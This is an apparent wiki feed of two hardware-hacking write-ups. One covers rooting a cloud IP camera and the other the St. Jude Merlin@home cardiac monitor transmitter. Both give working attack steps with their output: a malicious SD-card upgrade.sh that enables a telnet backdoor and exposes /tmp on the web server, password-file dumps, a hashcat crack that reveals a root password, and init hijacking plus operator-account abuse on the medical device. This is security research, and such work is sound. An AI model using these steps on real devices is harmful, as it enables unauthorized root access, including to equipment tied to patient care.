&amp;lt;pre&amp;gt;rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted/_D340D.extracted/_1A100.extracted/cpio-root/project$ unlzma -c ipc_project_v1.9.5.1510231507.rtl8188.tar.lzma &amp;gt; project.tar&lt;br /&gt;
rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted/_D340D.extracted/_1A100.extracted/cpio-root/project$ tar -xf project.tar&lt;br /&gt;
rjmendez@Rjmendez:~/cloudipcamera/extracted/_cloudipcamera_mxic25l12835f.BIN.merged.extracted/_D340D.extracted/_1A100.extracted/cpio-root/project$ ls -laht&lt;br /&gt;
total 14M&lt;br /&gt;
drwxr-xr-x  5 rjmendez rjmendez 4.0K Apr 20 14:03 .&lt;br /&gt;
-rw-rw-r--  1 rjmendez rjmendez  11M Apr 20 14:02 project.tar&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez 3.2M Apr 20 12:17 ipc_project_v1.9.5.1510231507.rtl8188.tar.lzma&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez   11 Apr 20 12:17 tar.crc&lt;br /&gt;
drwxrwxr-x 15 rjmendez rjmendez 4.0K Apr 20 12:17 ..&lt;br /&gt;
-rwxr-xr-x  1 rjmendez rjmendez  135 Apr 20 12:17 buildinfo.xml&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 4.0K Oct 23  2015 apps&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 4.0K Oct 23  2015 platforms&lt;br /&gt;
drwxr-xr-x  3 rjmendez rjmendez 4.0K Oct 23  2015 faraday&lt;br /&gt;
-rw-r--r--  1 rjmendez rjmendez    2 Oct 23  2015 kernel_version&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tons of good data in here! &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Gaining root&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
We have a great entry point as well inside of /project/apps/app/ipc/data/sh/sd_card_insert.sh.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
#mount sd_card&lt;br /&gt;
if [ ! -d /mnt/sd ]; then&lt;br /&gt;
    /bin/mkdir /mnt/sd&lt;br /&gt;
fi&lt;br /&gt;
mount -o noatime,nodiratime,norelatime -t vfat /dev/mmcblk0p1 /mnt/sd&lt;br /&gt;
&lt;br /&gt;
#run hook&lt;br /&gt;
if [ -e /mnt/sd/upgrade/upgrade.sh ]; then&lt;br /&gt;
chmod 777 /mnt/sd/upgrade/upgrade.sh&lt;br /&gt;
sh /mnt/sd/upgrade/upgrade.sh &amp;amp;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
wget http://127.0.0.1:80/ccm/CcmNotifyRequest/-dvalue-1.xml -O 1.xml&lt;br /&gt;
&lt;br /&gt;
rm -f 1.xml&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What the hell is going on in /project/apps/app/ipc/data/sh/dev_passwd.sh?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;path_prompt=/tmp/prompt.debug&lt;br /&gt;
path_pass=/tmp/pass.debug&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
#Generate ctx if needed&lt;br /&gt;
if [ -z $ctx ]; then&lt;br /&gt;
    ctx_file=/tmp/ctx.dev&lt;br /&gt;
    if [ -e $ctx_file ]; then&lt;br /&gt;
        read ctx &amp;lt; $ctx_file&lt;br /&gt;
    fi&lt;br /&gt;
&lt;br /&gt;
    if [ -z $ctx ]; then&lt;br /&gt;
        ctx=$RANDOM&lt;br /&gt;
        echo $ctx &amp;gt; $ctx_file&lt;br /&gt;
    fi&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
${bindir}/mipc_tool -cmd pass -devid ${devid} -prompt ${path_prompt} -pass ${path_pass}&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
read pass &amp;lt; $path_pass&lt;br /&gt;
read prompt &amp;lt; $path_prompt&lt;br /&gt;
echo &amp;quot;pass=${pass}, prompt=${prompt}&amp;quot;&lt;br /&gt;
/bin/hostname ${prompt}${promp_eth}${promp_wifi}&lt;br /&gt;
echo &amp;quot;root:${pass}&amp;quot;|chpasswd&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It looks like they are generating a new root password after rebooting. Everything is still running as root and the password is in a file at /tmp/pass.debug, we should be able to get in over the serial line but that’s not very sexy.&lt;br /&gt;
A look into /project/apps/app/ipc/data/sh/dev_telnet.sh gives us another option.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
port=9527&lt;br /&gt;
file_flag=/mnt/mtd/flag_debug_telnet&lt;br /&gt;
if [ -e ${file_flag} ]; then&lt;br /&gt;
    mode=on&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
usage()&lt;br /&gt;
{&lt;br /&gt;
    echo Usage:$0 [-m,--mode on/off] [-h,--help]&lt;br /&gt;
    exit&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
ARGS=`getopt -a -o m:h -l mode:,help -- &amp;quot;$@&amp;quot;`&lt;br /&gt;
&lt;br /&gt;
#set -- &amp;quot;${ARGS}&amp;quot;&lt;br /&gt;
eval set -- &amp;quot;${ARGS}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
while true&lt;br /&gt;
do&lt;br /&gt;
        case &amp;quot;$1&amp;quot; in&lt;br /&gt;
        -m|--mode)&lt;br /&gt;
                mode=&amp;quot;$2&amp;quot;&lt;br /&gt;
                shift&lt;br /&gt;
                ;;&lt;br /&gt;
        -h|--help)&lt;br /&gt;
                usage&lt;br /&gt;
                ;;&lt;br /&gt;
        --)&lt;br /&gt;
                shift&lt;br /&gt;
                break&lt;br /&gt;
                ;;&lt;br /&gt;
        esac&lt;br /&gt;
shift&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
if [ x&amp;quot;${mode}&amp;quot; == xon ]; then&lt;br /&gt;
    if [ ! -e ${file_flag} ]; then&lt;br /&gt;
        touch ${file_flag}&lt;br /&gt;
    fi&lt;br /&gt;
&lt;br /&gt;
    if [ &amp;quot;&amp;quot; == &amp;quot;`ps -w | grep telnet | grep ${port} | grep -v grep`&amp;quot; ]; then&lt;br /&gt;
        telnetd -p ${port} &amp;amp;&lt;br /&gt;
    fi&lt;br /&gt;
elif [ x&amp;quot;${mode}&amp;quot; == xoff ]; then&lt;br /&gt;
    if [ -e ${file_flag} ]; then&lt;br /&gt;
        rm ${file_flag}&lt;br /&gt;
    fi&lt;br /&gt;
&lt;br /&gt;
    ps w| grep telnetd | grep ${port} | grep -v -E &amp;quot;grep&amp;quot; | while read line&lt;br /&gt;
    do&lt;br /&gt;
        pid=${line%% *}&lt;br /&gt;
        kill -9 $pid&lt;br /&gt;
    done&lt;br /&gt;
fi&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Well well well… Lets create an upgrade folder and throw in this script inside of upgrade.sh on our vfat formatted micro sd card.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/sh&lt;br /&gt;
sleep 45&lt;br /&gt;
cd /project/apps/app/ipc/data/http/ &amp;amp;&amp;amp; ln -s /tmp &amp;amp;&lt;br /&gt;
/project/apps/app/ipc/data/sh/dev_telnet.sh -m on&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a little bit we should see this show up on the web server.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Rjmendez:~/cloudipcamera$ curl http://192.168.187.254/tmp/pass.debug&lt;br /&gt;
264e37dcd841b35344c68e8f95dc8b11&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And then we can try telnet on the nonstandard debug port.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;rjmendez@Rjmendez:~/cloudipcamera$ telnet 192.168.187.254 9527&lt;br /&gt;
Trying 192.168.187.254...&lt;br /&gt;
Connected to 192.168.187.254.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
&lt;br /&gt;
1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254 login: root&lt;br /&gt;
Password: &lt;br /&gt;
|---------------------------------------------------------------------------|&lt;br /&gt;
|                    A                                                      |&lt;br /&gt;
|                   AAA                                                     |&lt;br /&gt;
|                  AAAAA                                                    |&lt;br /&gt;
|                 AAAAAAA                                                   |&lt;br /&gt;
|                AAAA   AA                                                  |&lt;br /&gt;
|         A     AAAA     AA                                                 |&lt;br /&gt;
|        AAA   AAAA       AA          AAA   AAAAA    AAA   AAAAA    AAAAA   |&lt;br /&gt;
|       AAAAA AAAA         AA              AA   AA        AA   AA  AA   AA  |&lt;br /&gt;
|      AAAAAAAAAA           AA        AAA  AA   AA   AAA  AA   AA  AA   AA  |&lt;br /&gt;
|     AAAAA AAAA             AA       AAA  AA   AA   AAA  AA   AA  AA   AA  |&lt;br /&gt;
|    AAAAA    A               AA      AAA  AA   AA   AAA  AA   AA   AAAAAA  |&lt;br /&gt;
|   AAAAA                      AA     AAA  AA   AA   AAA  AA   AA       AA  |&lt;br /&gt;
| AAAAAA                        AAAA  AAA  AA   AA   AAA  AA   AA  AAAAAA   |&lt;br /&gt;
|===========================================================================|&lt;br /&gt;
|                                                                           |&lt;br /&gt;
|                                             http://www.shenzhenmining.com |&lt;br /&gt;
|                                           power by (C)shenzhenmining 2012 |&lt;br /&gt;
|---------------------------------------------------------------------------|&lt;br /&gt;
[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# echo &amp;quot;Root password is &#039;264e37dcd841b35344c68e8f95dc8b11&#039;&amp;quot;&lt;br /&gt;
Root password is &#039;264e37dcd841b35344c68e8f95dc8b11&#039;&lt;br /&gt;
[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# ls -l /root&lt;br /&gt;
-rwxr-xr-x    1 root     root           54 Oct 23  2015 welcome.txt&lt;br /&gt;
[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# cat /root/welcome.txt &lt;br /&gt;
welcome to (c)shenzhen mining mipc world!&lt;br /&gt;
enjoy it!&lt;br /&gt;
[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# cat /etc/passwd&lt;br /&gt;
root:x:0:0:root:/root:/bin/sh&lt;br /&gt;
bin:x:1:1:bin:/bin:/bin/sh&lt;br /&gt;
daemon:x:2:2:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
adm:x:3:4:adm:/adm:/bin/sh&lt;br /&gt;
lp:x:4:7:lp:/var/spool/lpd:/bin/sh&lt;br /&gt;
sync:x:5:0:sync:/bin:/bin/sync&lt;br /&gt;
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:x:7:0:halt:/sbin:/sbin/halt&lt;br /&gt;
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh&lt;br /&gt;
operator:x:11:0:Operator:/var:/bin/sh&lt;br /&gt;
nobody:x:99:99:nobody:/home:/bin/sh&lt;br /&gt;
[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# cat /etc/shadow&lt;br /&gt;
root:S5Ada/QN0yHBo:12963:0:99999:7:::&lt;br /&gt;
bin:*:12963:0:99999:7:::&lt;br /&gt;
daemon:*:12963:0:99999:7:::&lt;br /&gt;
adm:*:12963:0:99999:7:::&lt;br /&gt;
lp:*:12963:0:99999:7:::&lt;br /&gt;
sync:*:12963:0:99999:7:::&lt;br /&gt;
shutdown:*:12963:0:99999:7:::&lt;br /&gt;
halt:*:12963:0:99999:7:::&lt;br /&gt;
uucp:*:12963:0:99999:7:::&lt;br /&gt;
operator:*:12963:0:99999:7:::&lt;br /&gt;
nobody:*:12963:0:99999:7:::&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This device has never been connected to the internet, lets see what’s running on it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[root@1jfiegbp1n36a@11266@m@u@e.192.168.187.254@w.192.168.188.254]# ps | grep mipc&lt;br /&gt;
  600 root      2532 S    ./mipc_tool -cmd wd -len 20 &lt;br /&gt;
  826 root      2664 S    ./mipc_tool -cmd debug -server 1 &lt;br /&gt;
  945 root      2664 S    ./mipc_tool -cmd led -dev eth -interval 500 &lt;br /&gt;
  987 root      2664 S    ./mipc_tool -cmd led -dev wifi -interval 500 &lt;br /&gt;
 1009 root      2668 S    ./mipc_tool -cmd led -dev single -interval 500 &lt;br /&gt;
 1015 root      2664 S    ./mipc_tool -cmd click_listen &lt;br /&gt;
 1063 root      2668 S    ../../../../../platforms/faraday-linux-armv5/bin/mipc_tool -cmd tcpproxy --passive-remote 127.0.0.1:23 --remote 218.14.146.199:7024:/tmp/tcp_post.txt --header-notify-file&lt;br /&gt;
 1179 root     54140 S    ./mipc -cont-conf ../../../apps/app/ipc/conf/container.conf &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
== Future ==&lt;br /&gt;
&lt;br /&gt;
We need to look into mipc_tool and the mipc program itself.&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2872</id>
		<title>SJM Merlin at Home</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=SJM_Merlin_at_Home&amp;diff=2872"/>
		<updated>2017-08-09T19:21:23Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__FORCETOC__&lt;br /&gt;
{{Disclaimer}}&lt;br /&gt;
[[File:Merlin-at-home-1.jpg|100px|left|thumb]]&lt;br /&gt;
[[Category:Medical]]&lt;br /&gt;
This page will be dedicated to a general overview, descriptions, and information related to the St. Jude Medical Merlin@home Transmitter Model EX1150.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
The Merlin@home Transmitter is intended to pair with an Implantable Cardiac Defibrillator (ICD) or Pacemaker and upload the data to the Merlin.net patient care network for review by a physician.&lt;br /&gt;
&lt;br /&gt;
== Disassembly ==&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Merlin-front.jpg&lt;br /&gt;
File:Merlin-back.jpg&lt;br /&gt;
File:Merlin-side_usb.jpg&lt;br /&gt;
File:Merlin-antenna1.jpg&lt;br /&gt;
File:Merlin-antenna2.jpg&lt;br /&gt;
File:Merlin-uart.jpg&lt;br /&gt;
File:Merlin-uart2.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UART ==&lt;br /&gt;
A Login Console is presented on UART (3.3v) at 115200 baud. The pinout for UART can be found below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
File:Merlin-uart.jpg&lt;br /&gt;
File:Merlin-uart2.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
This device boots with the BLOB bootloader (https://sourceforge.net/projects/blob/) to a version of Montavista Linux (https://en.wikipedia.org/wiki/MontaVista) with a restricted root login. It is possible to init hijack by interrupting the bootloader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Post device verification...&lt;br /&gt;
Serial2In string: ATi0&lt;br /&gt;
Serial2In string: &lt;br /&gt;
56000&lt;br /&gt;
Modem Post : Passed with retries = 0&lt;br /&gt;
&lt;br /&gt;
Time taken by POST : [1.197000] seconds&lt;br /&gt;
nand_init: manuf=0x000000EC  device=0x000000F1&lt;br /&gt;
scanning for bad blocks...&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x02B40000&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x04B20000&lt;br /&gt;
nand_check_blocks: nand_read_page() failed, addr=0x07660000&lt;br /&gt;
&lt;br /&gt;
Consider yourself BLOBed!&lt;br /&gt;
&lt;br /&gt;
blob version 2.0.5-pre2 for Tanto Basic Device&lt;br /&gt;
Copyright (C) 1999 2000 2001 Jan-Derk Bakker and Erik Mouw&lt;br /&gt;
blob comes with ABSOLUTELY NO WARRANTY; read the GNU GPL for details.&lt;br /&gt;
This is free software, and you are welcome to redistribute it&lt;br /&gt;
under certain conditions; read the GNU GPL for details.&lt;br /&gt;
blob release: d20081014_platform_4_16&lt;br /&gt;
Memory map:&lt;br /&gt;
  0x02000000 @ 0xc0000000 (32 MB)&lt;br /&gt;
&lt;br /&gt;
ram_post executing...&lt;br /&gt;
Data Bus Test&lt;br /&gt;
Address Bus Test&lt;br /&gt;
Data Qualifer Test&lt;br /&gt;
Device Test&lt;br /&gt;
c0200000status_next, board type = RF board revision =  (3)&lt;br /&gt;
c1e00000r14_svc = 0x0000034d&lt;br /&gt;
Autoboot in progress, press any key to stop ..&lt;br /&gt;
Autoboot aborted&lt;br /&gt;
Type &amp;quot;help&amp;quot; to get a list of commands&lt;br /&gt;
blob&amp;gt; boot console=ttyMX0,115200n8 root=/dev/mtdblock6 ip=dhcp init=/bin/sh BOARD_REVISION=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We can pull some useful information from the device.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sh-2.05a# cat /etc/passwd&lt;br /&gt;
root:0q8h1Maw1oYAU:0:0:root:/root:/bin/bash&lt;br /&gt;
bin:*:1:1:bin:/bin:&lt;br /&gt;
daemon:*:2:2:daemon:/usr/sbin:&lt;br /&gt;
sys:*:3:3:sys:/dev:&lt;br /&gt;
adm:*:4:4:adm:/var/adm:&lt;br /&gt;
lp:*:5:7:lp:/var/spool/lpd:&lt;br /&gt;
sync:*:6:8:sync:/bin:/bin/sync&lt;br /&gt;
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:*:8:10:halt:/sbin:/sbin/halt&lt;br /&gt;
mail:*:9:11:mail:/var/spool/mail:&lt;br /&gt;
news:*:10:12:news:/var/spool/news:&lt;br /&gt;
uucp:*:11:13:uucp:/var/spool/uucp:&lt;br /&gt;
operator:*:12:0:operator:/root:&lt;br /&gt;
games:*:13:100:games:/usr/games:&lt;br /&gt;
ftp:*:15:14:ftp:/var/ftp:&lt;br /&gt;
man:*:16:100:man:/var/cache/man:&lt;br /&gt;
www:*:17:100:www:/var/www:&lt;br /&gt;
sshd:*:18:100:sshd:/var/run/sshd:&lt;br /&gt;
nobody:*:65534:65534:nobody:/home:/bin/sh&lt;br /&gt;
sh-2.05a# cat /etc/shadow&lt;br /&gt;
cat: /etc/shadow: No such file or directory&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets break this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;E:\hashcat-3.5.0&amp;gt;hashcat64.exe --session sjm_hash -w 3 -m 1500 e:\sjm_hash -a 3 ?a?a?a?a?a?a?a&lt;br /&gt;
hashcat (v3.5.0) starting...&lt;br /&gt;
&lt;br /&gt;
* Device #1: WARNING! Kernel exec timeout is not disabled.&lt;br /&gt;
             This may cause &amp;quot;CL_OUT_OF_RESOURCES&amp;quot; or related errors.&lt;br /&gt;
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch&lt;br /&gt;
OpenCL Platform #1: NVIDIA Corporation&lt;br /&gt;
======================================&lt;br /&gt;
* Device #1: GeForce GTX 980, 1024/4096 MB allocatable, 16MCU&lt;br /&gt;
&lt;br /&gt;
OpenCL Platform #2: Intel(R) Corporation&lt;br /&gt;
========================================&lt;br /&gt;
* Device #2: Intel(R) Core(TM) i5-4570 CPU @ 3.20GHz, skipped.&lt;br /&gt;
&lt;br /&gt;
Hashes: 1 digests; 1 unique digests, 1 unique salts&lt;br /&gt;
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates&lt;br /&gt;
&lt;br /&gt;
Applicable optimizers:&lt;br /&gt;
* Zero-Byte&lt;br /&gt;
* Precompute-Final-Permutation&lt;br /&gt;
* Not-Iterated&lt;br /&gt;
* Single-Hash&lt;br /&gt;
* Single-Salt&lt;br /&gt;
* Brute-Force&lt;br /&gt;
&lt;br /&gt;
Watchdog: Temperature abort trigger set to 90c&lt;br /&gt;
Watchdog: Temperature retain trigger set to 75c&lt;br /&gt;
&lt;br /&gt;
[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0q8h1Maw1oYAU:mah1200&lt;br /&gt;
&lt;br /&gt;
Session..........: sjm_hash&lt;br /&gt;
Status...........: Cracked&lt;br /&gt;
Hash.Type........: descrypt, DES (Unix), Traditional DES&lt;br /&gt;
Hash.Target......: 0q8h1Maw1oYAU&lt;br /&gt;
Time.Started.....: Sun May 07 17:39:55 2017 (9 secs)&lt;br /&gt;
Time.Estimated...: Sun May 07 17:40:04 2017 (0 secs)&lt;br /&gt;
Guess.Mask.......: ?a?a?a?a?a?a?a [7]&lt;br /&gt;
Guess.Queue......: 1/1 (100.00%)&lt;br /&gt;
Speed.Dev.#1.....:   544.7 MH/s (60.44ms)&lt;br /&gt;
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts&lt;br /&gt;
Progress.........: 4764729344/69833729609375 (0.01%)&lt;br /&gt;
Rejected.........: 0/4764729344 (0.00%)&lt;br /&gt;
Restore.Point....: 0/81450625 (0.00%)&lt;br /&gt;
Candidates.#1....: ;~9anan -&amp;gt; $sb~{ka&lt;br /&gt;
HWMon.Dev.#1.....: Temp: 67c Fan: 33% Util: 99% Core:1404MHz Mem:3004MHz Bus:16&lt;br /&gt;
&lt;br /&gt;
Started: Sun May 07 17:39:51 2017&lt;br /&gt;
Stopped: Sun May 07 17:40:05 2017&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attempts to login as root fail, what was going on with that operator user?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;operator:*:12:0:operator:/root:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lets set the password to &amp;quot;test&amp;quot; and attempt logging in.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sh-2.05a# grep &amp;quot;operator&amp;quot; /etc/passwd&lt;br /&gt;
operator:dPUvQFLH8...A:12:0:operator:/root:&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[SJM_CONFIGURATION]&lt;br /&gt;
VERSION=EX2000 v6.1B PR_6.56&lt;br /&gt;
(none) login: root&lt;br /&gt;
Password: &lt;br /&gt;
Login incorrect&lt;br /&gt;
2017-05-14 &lt;br /&gt;
(none) login: operator&lt;br /&gt;
Password: &lt;br /&gt;
operator@(none):~$ whoami&lt;br /&gt;
operator&lt;br /&gt;
operator@(none):~$ su root&lt;br /&gt;
Password: &lt;br /&gt;
PAM_unix[266]: (su) session opened for user root by (uid=12)&lt;br /&gt;
root@(none):~# whoami&lt;br /&gt;
root&lt;br /&gt;
root@(none):~# &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Taking Things Further ==&lt;br /&gt;
&lt;br /&gt;
Lets look at some of these custom hotplug scripts. /etc/hotplug/usb/sjmusb looks like a good start.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;#!/bin/bash&lt;br /&gt;
#&lt;br /&gt;
#  Script to mount valid sjm pendrive(s) via hotplug. Hotplug will invoke &lt;br /&gt;
#  this script only if the attached USB device is a mass-storage device.&lt;br /&gt;
#  hotplug does this by looking at the device class of the attached usb device&lt;br /&gt;
#  See /etc/hotplug/usb.usermap. The device class for mass storage devices&lt;br /&gt;
#  is  ______&lt;br /&gt;
# &lt;br /&gt;
#  In a nutshell, the script looks in /proc/scsi/usb-storage* directory to&lt;br /&gt;
#  find the scsi ID of the attached USB storage device. It then goes on to&lt;br /&gt;
#  find the device node corresponding to this scsi ID.&lt;br /&gt;
#  &lt;br /&gt;
# version 1.1 - Added USB signature check functionality &lt;br /&gt;
#&lt;br /&gt;
# For the new cellular adapters - viz mobidata and velocity, ignore the&lt;br /&gt;
# mass storage interface reported. Please see comments at the top of&lt;br /&gt;
# /etc/hotplug/usb/velocity for details.&lt;br /&gt;
#&lt;br /&gt;
#   - Ashok Iyer (16-Jun-2010)&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
export PATH=/usr/bin:/usr/local/bin:$PATH&lt;br /&gt;
&lt;br /&gt;
MOUNT_PATH=&amp;quot;/mnt/sjmpendrives&amp;quot;&lt;br /&gt;
MOUNT_NUMBER=1&lt;br /&gt;
LOG_FILE=&amp;quot;/tmp/usbstorage.log&amp;quot;&lt;br /&gt;
SGMAP=&amp;quot;sg_map&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# The functions in this script rely on &amp;quot;echo&amp;quot; to pass information to each&lt;br /&gt;
# other. If you need to modify this script, do not use &amp;quot;echo&amp;quot; for debugging.&lt;br /&gt;
# Instead use the feedback()/error_exit() functions below. These will log &lt;br /&gt;
# information to a log file and do not interfere with information passing &lt;br /&gt;
# between functions.&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
function check_sign {&lt;br /&gt;
    local node1=$1&amp;quot;1&amp;quot;&lt;br /&gt;
    feedback &amp;quot;Checking signature ... &amp;quot;&lt;br /&gt;
    feedback &amp;quot;node1 = $node1&amp;quot;&lt;br /&gt;
    dd if=$node1 of=/tmp/.sign bs=1 count=3 skip=501&lt;br /&gt;
    signature=`cat /tmp/.sign` &lt;br /&gt;
&lt;br /&gt;
    if [ &amp;quot;$signature&amp;quot; = &amp;quot;SJM&amp;quot; ]; then&lt;br /&gt;
	feedback &amp;quot;Valid pendrive&amp;quot;&lt;br /&gt;
	echo 0&lt;br /&gt;
    else&lt;br /&gt;
	feedback &amp;quot;Invalid pendrive&amp;quot;&lt;br /&gt;
	echo -1&lt;br /&gt;
    fi&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
***snip***&lt;br /&gt;
&lt;br /&gt;
# We only mount the first partition of a USB storage device. There is no &lt;br /&gt;
# requirement to mount multiple partitions. Makes the job easy :-)&lt;br /&gt;
function mount_scsi_dev {&lt;br /&gt;
    local scsi_dev=$1&lt;br /&gt;
    local mountpt=&amp;quot;&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
    # check if the first partition of the device is mounted &lt;br /&gt;
    if ! mount | egrep -q &amp;quot;^$scsi_dev&amp;quot;1&amp;quot;[[:space:]]&amp;quot; &lt;br /&gt;
    then&lt;br /&gt;
        mountpt=$(find_unused_mountpt) || error_exit &amp;quot;Failed to find a mount pt&amp;quot;&lt;br /&gt;
        mkdir -p &amp;quot;$mountpt&amp;quot; || error_exit &amp;quot;Failed to create mount pt $mountpt&amp;quot;&lt;br /&gt;
&lt;br /&gt;
	# FIXME- Ugly hack to detect partitions on USB flash drive&lt;br /&gt;
	# Possible bug in Kernel and/or devfs. Either use devfs=nomount kernel cmdline&lt;br /&gt;
        # or fix devfs once and for all.&lt;br /&gt;
        # There is another problem in devfs that after the USB flash disk is removed&lt;br /&gt;
        # the corresponding devfs partitions (part1, part2 etc...) still show up. &lt;br /&gt;
	foobar=`ls -l $scsi_dev | awk &#039;{print $11}&#039;`&lt;br /&gt;
	dd if=/dev/$foobar of=/dev/null bs=1 count=1 &lt;br /&gt;
	&lt;br /&gt;
	# Checking USB signature&lt;br /&gt;
	ret=`check_sign $scsi_dev`	&lt;br /&gt;
	if [ $ret -eq 0 ]; then&lt;br /&gt;
		feedback &amp;quot;Valid pendrive&amp;quot;&lt;br /&gt;
	else&lt;br /&gt;
		# Tanto: Inform the Exec App to show &lt;br /&gt;
		# an Invalid Media Error&lt;br /&gt;
		if [ -p /tmp/remoteInt.pipe ]; then&lt;br /&gt;
			echo &amp;quot;UsbHotplug InvalidMedia&amp;quot; &amp;gt; /tmp/remoteInt.pipe&lt;br /&gt;
			error_exit &amp;quot;Invalid pendrive&amp;quot;&lt;br /&gt;
		else&lt;br /&gt;
			echo &amp;quot;ERROR: /tmp/remoteInt.pipe does not exist!!!&amp;quot;&lt;br /&gt;
		fi&lt;br /&gt;
	fi&lt;br /&gt;
&lt;br /&gt;
        feedback &amp;quot;Mounting $scsi_dev&amp;quot;1&amp;quot; on $mountpt&amp;quot;&lt;br /&gt;
        mount -t auto $scsi_dev&amp;quot;1&amp;quot; $mountpt&lt;br /&gt;
        if [ &amp;quot;$?&amp;quot; -eq 0 ]; then&lt;br /&gt;
            feedback &amp;quot;$scsi_dev&amp;quot;1&amp;quot; is now mounted on $mountpt&amp;quot;&lt;br /&gt;
	    feedback &amp;quot;Launch application specific script&amp;quot;	&lt;br /&gt;
	    sh /etc/launch_appln.sh $mountpt&lt;br /&gt;
        else&lt;br /&gt;
            feedback &amp;quot;Mount error for $scsi_dev&amp;quot;&lt;br /&gt;
        fi&lt;br /&gt;
    else&lt;br /&gt;
        feedback &amp;quot;Ignoring $scsi_dev - already mounted&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
}&lt;br /&gt;
  &lt;br /&gt;
